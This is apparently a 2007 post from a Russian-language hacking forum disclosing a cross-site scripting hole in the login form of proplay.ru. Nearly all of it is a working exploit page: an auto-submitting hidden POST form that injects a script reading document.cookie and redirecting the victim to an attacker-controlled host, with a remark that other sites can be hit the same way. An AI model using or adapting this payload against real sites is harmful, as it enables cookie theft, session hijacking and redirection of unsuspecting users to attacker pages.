16.11.2007, 21:31
|
|
Познающий
Регистрация: 22.02.2006
Сообщений: 67
Провел на форуме:
4155100
Репутация:
2033
|
|
http://www.proplay.ru/
- method GET not supported
- no referer-control
http://yourhost.xz/g.html - link with XSS-exploit
file g.html
Код:
<body onload='document.forms[0].submit()'>
<form method="post" action="http://www.proplay.ru/users/login/">
<input name="name" value='"><script>alert(document.cookie);document.location.href=\"http://yourhost.xz/q.html\";</script>' style="visibility:hidden;display:none">
</form>
redirect -->> q.html with any content
Another site -->> by analogy
|
|
|